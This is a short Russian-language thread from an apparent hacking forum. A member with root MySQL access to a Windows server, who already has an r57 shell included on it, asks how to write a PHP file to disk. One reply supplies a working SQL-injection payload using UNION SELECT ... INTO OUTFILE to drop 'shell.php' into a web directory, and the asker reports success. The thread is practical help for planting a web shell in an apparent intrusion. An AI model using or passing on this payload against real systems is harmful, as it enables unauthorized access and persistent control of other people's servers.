Веб шелл через MySQL.

Discussion in 'Уязвимости' started by Horsekiller, 6 Mar 2007.

  1. Horsekiller

    Horsekiller Elder - Старейшина

    Joined:
    22 Nov 2006
    Messages:
    61
    Likes Received:
    33
    Reputations:
    6
    Какой запрос нужно выполнить, чтобы создать php файл хотя бы с двумя строчками?
    Кроме root доступа к MySQL ничего получить не могу, сервер под Windows NT MAIN 5.2 build 3790, приинклуженный r57 не редактирает, не загружает и не дает скачивать файлы.
     
    1 person likes this.
  2. FQziT

    FQziT Elder - Старейшина

    Joined:
    3 Nov 2005
    Messages:
    543
    Likes Received:
    156
    Reputations:
    206
    Юзай Into Outfile
     
  3. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    union+select+1,2,3,4,5,'код'+from+mysql.user+into+outfile+'C:/dir/dir/shell.php'/*
     
  4. Horsekiller

    Horsekiller Elder - Старейшина

    Joined:
    22 Nov 2006
    Messages:
    61
    Likes Received:
    33
    Reputations:
    6
    Спасибо, сделал.
     
    2 people like this.